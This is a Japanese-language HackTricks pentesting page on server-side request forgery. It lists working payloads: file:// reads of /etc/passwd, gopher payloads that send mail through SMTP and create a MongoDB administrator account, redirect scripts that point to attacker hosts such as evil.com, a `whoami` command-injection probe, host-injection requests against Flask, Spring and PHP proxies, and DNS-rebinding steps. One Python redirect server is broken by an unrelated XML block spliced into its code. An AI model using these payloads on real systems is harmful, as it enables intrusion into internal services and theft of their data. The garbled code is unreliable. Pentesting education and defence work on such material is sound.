.. | ||
cloud-ssrf.md | ||
README.md | ||
ssrf-vulnerable-platforms.md | ||
url-format-bypass.md |
SSRF (Server Side Request Forgery)
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
htARTE (HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手してください
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つけてください
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- ハッキングトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
基本情報
サーバーサイドリクエストフォージェリ(SSRF)脆弱性は、サーバーサイドアプリケーションを操作して、攻撃者が選択したドメインにHTTPリクエストを行わせるときに発生します。この脆弱性により、攻撃者によって指示された任意の外部リクエストがサーバーに公開されます。
SSRFのキャプチャ
最初に行う必要があることは、自分が生成したSSRFインタラクションをキャプチャすることです。HTTPまたはDNSインタラクションをキャプチャするには、次のようなツールを使用できます:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - ngrokを使用したBurp Collaborator
ホワイトリストされたドメインのバイパス
通常、SSRFが特定のホワイトリストされたドメインまたはURLでのみ機能していることがわかります。次のページでは、そのホワイトリストをバイパスしようとするテクニックのコンパイルがあります:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
オープンリダイレクトを介したバイパス
サーバーが適切に保護されている場合、Webページ内のオープンリダイレクトを悪用することで、すべての制限をバイパスできる可能性があります。Webページは同じドメインへのSSRFを許可し、おそらくリダイレクトをフォローするため、オープンリダイレクトを悪用してサーバーが内部の任意のリソースにアクセスすることができます。
詳細はこちら:https://portswigger.net/web-security/ssrf
プロトコル
- file://
- URLスキーム
file://
は、直接/etc/passwd
を指すように参照されます:file:///etc/passwd
- dict://
- DICT URLスキームは、DICTプロトコルを介して定義や単語リストにアクセスするために使用されると説明されています。与えられた例では、特定の単語、データベース、エントリ番号を対象とする構築されたURLと、PHPスクリプトが攻撃者が提供した資格情報を使用してDICTサーバーに接続する可能性が示されています:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- セキュアシェルを介したセキュアファイル転送のためのプロトコルとして特定され、PHPスクリプトが悪意のあるSFTPサーバーに接続する方法を示す例が提供されています:
url=sftp://generic.com:11111/
- TFTP://
- UDPを介して動作するTrivial File Transfer Protocolが言及され、PHPスクリプトがTFTPサーバーにリクエストを送信するように設計されている例が示されています。TFTPリクエストは、ファイル
TESTUDPPACKET
を取得するためにポート12346
でgeneric.com
に送信されます:ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- このセグメントでは、IPネットワーク上で分散ディレクトリ情報サービスを管理およびアクセスするために使用されるLightweight Directory Access Protocolがカバーされており、ローカルホストのLDAPサーバーとのやり取りが強調されています:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- SSRF脆弱性を悪用してローカルホスト上のSMTPサービスとやり取りする方法が記載されており、内部ドメイン名を明らかにする手順やその情報に基づいたさらなる調査アクションが含まれています。
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- もしSSRFがcurlによって実行される場合、curlにはWAFをバイパスするのに役立つ可能性があるURL globbingという機能があります。たとえば、このwriteupでは、
file
プロトコルを介したパストラバーサルの例が示されています。
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- GopherプロトコルのIP、ポート、およびバイトを指定する能力について、Gopherusやremote-method-guesserなどのツールと共に、ペイロードを作成する方法が説明されています。2つの異なる用途が説明されています:
Gopher://
このプロトコルを使用すると、サーバーに送信してほしいIP、ポート、およびバイトを指定できます。その後、基本的にSSRFを悪用して任意のTCPサーバーと通信できます(ただし、最初にサービスとの通信方法を知っている必要があります)。
幸いにも、Gopherusを使用して、複数のサービス用のペイロードを作成できます。さらに、remote-method-guesserを使用して、_Java RMI_サービス向けの_gopher_ペイロードを作成できます。
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — 1337にバックコネクト
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
Gopher MongoDB -- ユーザーを作成します。ユーザー名はadmin、パスワードはadmin123、権限は管理者です。
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
Referrerヘッダーおよびその他を介したSSRF
サーバー上のアナリティクスソフトウェアはしばしばReferrerヘッダーを記録して着信リンクを追跡します。この実践は、アプリケーションをServer-Side Request Forgery(SSRF)の脆弱性にさらすことになります。これは、そのようなソフトウェアがReferrerヘッダーに記載された外部URLを訪れてリファラーサイトのコンテンツを分析する可能性があるためです。これらの脆弱性を明らかにするために、Burp Suiteプラグイン "Collaborator Everywhere" を活用することが推奨されており、アナリティクスツールがRefererヘッダーを処理する方法を利用して潜在的なSSRF攻撃面を特定します。
証明書からのSNIデータを介したSSRF
任意のバックエンドへの接続を可能にする可能性のある誤った構成は、次のNginx構成の例で説明されています:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
この構成では、サーバー名指定(SNI)フィールドからの値がバックエンドのアドレスとして直接利用されます。このセットアップは、単にSNIフィールドに希望のIPアドレスやドメイン名を指定することで悪用される可能性がある、サーバーサイドリクエストフォージェリ(SSRF)への脆弱性を露出させます。openssl
コマンドを使用して、internal.host.com
などの任意のバックエンドに接続を強制する悪用例が以下に示されています:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Wget ファイルアップロード
コマンドインジェクション付きのSSRF
次のようなペイロードを試してみる価値があります: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFのレンダリング
Webページが提供した情報で自動的にPDFを作成している場合、PDF作成中にPDF作成者自体(サーバー)によって実行されるJSを挿入することができ、SSRFを悪用することができます。こちらで詳細情報を見つける.
SSRFからDoSへ
複数のセッションを作成し、セッションからSSRFを悪用して重いファイルをダウンロードしようとしてみてください。
SSRF PHP関数
脆弱なPHPおよびWordPress関数については、次のページをチェックしてください:
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
GopherへのSSRFリダイレクト
一部の悪用では、リダイレクト応答を送信する必要がある場合(おそらくgopherのような異なるプロトコルを使用するため)、異なるPythonコードを使用してリダイレクトを返すことができます:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
<details>
<summary>English</summary>
<details>
<summary>Header</summary>
<p:ExecuteShellCommand_INP
xmlns:p="http://schemas.xmlsoap.org/ws/2004/08/addressing">
<p:DataLocale lang="en-us" />
<p:OperationSet mustUnderstand="true">http://schemas.xmlsoap.org/ws/2001/XMLSchema</p:OperationSet>
<p:Locale xml:lang="en-us" />
<p:OperationTime>PT1M30S</p:OperationTime>
<p:Local xmlns:lan="en-us" mustUnderstand="false" />
<p:DataLocal xmlns:lan="en-us" mustUnderstand="false" />
<p:OperationSet>
<p:Operation Name="__cimnamespace">root/scx</p:Operation>
</p:OperationSet>
</p:ExecuteShellCommand_INP>
</details>
</details>
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
SSRFへのミス構成されたプロキシ
Flask
Flaskプロキシ脆弱性コード
```python from flask import Flask from requests import getapp = Flask('main') SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''}) @app.route('/path:path')
def proxy(path): return get(f'{SITE_NAME}{path}').content
if name == "main": app.run(threaded=False)
</details>
Flaskでは、**`@`**を初期文字として使用できるため、**初期ホスト名をユーザー名**として使用し、新しいホスト名をインジェクトすることができます。攻撃リクエスト:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
脆弱なコード:
リクエストのパスを文字 ;
で始めることが可能であることが発見されました。これにより @
を使用して新しいホストを注入してアクセスすることができます。攻撃リクエスト:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP 組み込みウェブサーバー
脆弱な PHP コード
```php $proxy_site = $site.$current_uri; var_dump($proxy_site);echo "\n\n";
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHPは、URLのパスでスラッシュの前に**char `*`を使用することを許可していますが、ルートパス名`/`にしか使用できず、最初のスラッシュの前にドット`.`を使用することはできないという制限があります。そのため、dotless-hexエンコードされたIPアドレスを使用する必要があります。
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebidding CORS/SOP bypass
CORS/SOPの制限をバイパスするためにローカルIPからコンテンツを外部に送信するのに問題がある場合、DNS Rebiddingを使用してその制限をバイパスできます:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
自動DNS Rebidding
Singularity of Origin
はDNS rebinding攻撃を実行するためのツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。
また、公開されているサーバーもチェックしてください http://rebind.it/singularity.html
DNS Rebidding + TLSセッションID/セッションチケット
要件:
- SSRF
- アウトバウンドTLSセッション
- ローカルポート上のデータ
攻撃:
- ユーザー/ボットに攻撃者が制御するドメインにアクセスするように要求します
- DNSのTTLは0秒です(被害者は間もなくドメインのIPを再度確認します)
- 被害者と攻撃者のドメイン間にTLS接続が作成されます。攻撃者はSession IDまたはSession Ticket内にペイロードを挿入します。
- ドメインは自分自身に対して無限のリダイレクトループを開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続けるようにし、再度ドメインのDNSリクエストを実行させることです。
- DNSリクエストでプライベートIPアドレスが与えられます(例:127.0.0.1)
- ユーザー/ボットはTLS接続を再確立しようとし、そのためにSession ID/Ticket IDを送信します(攻撃者のペイロードが含まれていた場所)。おめでとうございます、ユーザー/ボットに自身を攻撃させることに成功しました。
この攻撃中、localhost:11211(memcache)を攻撃する場合、被害者にwww.attacker.com:11211で初期接続を確立させる必要があります(ポートは常に同じである必要があります)。
この攻撃を実行するには、次のツールを使用できます:https://github.com/jmdx/TLS-poison/
この攻撃が説明されているトークを見るには、詳細はこちら:https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
盲目のSSRFと非盲目のSSRFの違いは、盲目の場合にSSRFリクエストの応答を見ることができないことです。そのため、既知の脆弱性のみを悪用できるため、悪用がより困難になります。
時間ベースのSSRF
サーバーからの応答の時間をチェックすることで、リソースが存在するかどうかを知ることができるかもしれません(存在するリソースにアクセスするのに時間がかかるかもしれません)。
Cloud SSRF Exploitation
クラウド環境内で実行されているマシンでSSRF脆弱性を見つけた場合、クラウド環境に関する興味深い情報や資格情報さえ取得できるかもしれません:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
SSRF Vulnerable Platforms
いくつかの既知のプラットフォームにはSSRF脆弱性が含まれているか、または含まれていました。それらをチェックしてください:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
Tools
SSRFMap
SSRF脆弱性を検出および悪用するためのツール
Gopherus
このツールは以下のためのGopherペイロードを生成します:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
_remote-method-guesser_は、一般的な_Java RMI_脆弱性の攻撃操作をサポートする_Java RMI_脆弱性スキャナーです。ほとんどの利用可能な操作は、要求された操作のためにSSRFペイロードを生成するための--ssrf
オプションをサポートしています。--gopher
オプションと一緒に使用すると、直接使用できる_gopher_ペイロードが直接生成されます。
SSRF Proxy
SSRF Proxyは、Server-Side Request Forgery(SSRF)に脆弱なHTTPサーバーを介してクライアントHTTPトラフィックをトンネリングするために設計されたマルチスレッドのHTTPプロキシサーバーです。
練習するために
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
参考文献
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを手に入れましょう
- 独占的なNFTsコレクションであるThe PEASS Familyを発見
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって動作するワークフローを簡単に構築および自動化できます。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}